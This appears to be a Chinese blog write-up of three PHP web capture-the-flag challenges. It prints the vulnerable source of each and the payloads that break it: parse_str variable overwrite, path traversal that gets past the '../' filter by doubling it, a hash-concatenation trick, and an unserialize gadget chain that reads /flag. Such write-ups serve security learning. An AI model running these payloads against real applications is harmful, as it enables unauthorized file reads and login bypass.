某行业比赛部分WEB题解题思路

login.php

源码如下:

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    include_once("flag.php");

    $data = ['username' => 'admin', 'password' => '0d4a90e58033e0415fea356308a809d'];

    parse_str($_SERVER['QUERY_STRING']);

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!isset($username) || empty($username)) {
            die('Please input username');
        }
        if (!isset($password) || empty($password)) {
            die('Please input password');
        }
        if ($username !== $data['username']) {
            die('Username ERROR');
        }
        else {
            if (md5($password) === $data['password']) {
                if(isset($_POST['file']))
                {
                    $filename = "/tmp/" . $_POST['file'];
                    getContents($filename);
                }
                else
                {
                    echo "Login Success" . "<br />";
                }
            }
            else
            {
                die('Password ERROR');
            }
        }
    }

    function getContents($filename)
    {
        $filename = str_replace("../", "", $filename);
        print_r(file_get_contents($filename));
    }

?>

$data = ['username' => 'admin', 'password' => '0d4a90e58033e0415fea356308a809d'];

这里写了账号以及密码,但是 密码无法解出来,而 parse_str($_SERVER['QUERY_STRING']);存在一个 parse_str ,就说明我们可以进行变量覆盖。将原先的用户名密码覆盖,因此我们可以改变 $data 的值。

于是我们可以构造如下flag

?username=admin&password=123456&data[username]=admin&data[password]=e10adc3949ba5
9abbe56e057f20f883e

if ($_SERVER['REQUEST_METHOD'] === 'POST')由于这条语句,所以我们使用post方法传递这个payload

显示登陆成功,继续审计代码。

    function getContents($filename)
    {
        $filename = str_replace("../", "", $filename);
        print_r(file_get_contents($filename));
    }

存在任意文件读取漏洞,$filename = str_replace("../", "", $filename);这个部分可以使用双写来进行绕过。

参考文章

two

源码:

<?php
highlight_file(__FILE__);
include("secret.php");
$username=$_GET["username"];
$password=$_GET["password"];
$sha1=$_GET["sha1"];

if (stristr($username, $rootusername)) { #stristr() 函数搜索字符串在另一字符串中的第一次出现。未找到所搜索的字符串,则返回 FALSE
	echo "nonono";
	return;
}

$password=str_replace($rootusername, "", $password); #str_replace() 函数替换字符串中的一些字符(区分大小写)。$password中有$rootusername,则替换为空

$md5=md5($username.$password.$secret);
$yoursha1=sha1($username.$password.$secret);
echo "youe sha1 is".$yoursha1;
if ($md5===md5($rootusername.$rootpassord.$secret) && $sha1===sha1($rootusername.$rootpassword.$secret) ) {
	echo $flag;
}

?>

此题应该缺少某个文件,可以获得username与password。

获得username与password后将password双写并将username后几个字符移至password前绕过获取sha1,令sha1等于该sha1获取flag。

假设username=admin ;password=123456

payload:?username=1admi&password=n123451234566获得sha1

?username=1admi&password=n123451234566&sha1=sha1获得flag

three

源码

<?php
highlight_file("index.php");
class A{
    public $files;
    public function findFile()
    {
        echo $this->files;
        if (file_exists(base64_decode($this->files->filepath)))
        {
            echo "This is a file";
        }else{
            echo "File not found";
        }
    }
    public function __destruct()
    {
        $this->findFile();
    }
}
class B{
    public $filepath;
    public function shutdown()
    {
        die("no");
    }
    public function __toString()
    {
        $result = $this->filepath;
        if (strstr($result,"L2ZsYWc") || strlen($result)>8){
            $this->shutdown();
        }
        $result = base64_decode($result);
        $content = file_get_contents($result);
        echo $content;
        return "";
    }
}

@$a = $_GET['a'];
@unserialize(base64_decode($a));

class A中的echo操作会触发toString方法,利用class B的toString方法可以读取文件,toString方法后会判断filepath参数中是否包含L2ZsYwc经过base64解码为/flag。
php对base64解码的宽容性,在其中加入特殊字符如@等,同时去掉末尾的=(满足长度要求),所以最后的控制$this->filepath为L2@ZsYWc即可绕过判断读取flag

payload:

<?php
class A
{
    public $files;
    public function __construct()
    {
        $this->files=new B();
    }
}
class B{
    public $filepath;
    public function __construct()
    {
        //此处为想要读取的文件路径
        $this->filepath = "L2@ZsYWc";
    }
}
$a = new A();
echo base64_encode(serialize($a));

将生成的参数传递给a即可得到flag。

posted @ 2022-12-07 00:40  CHOSEN1K08  阅读(521)  评论(0)    收藏  举报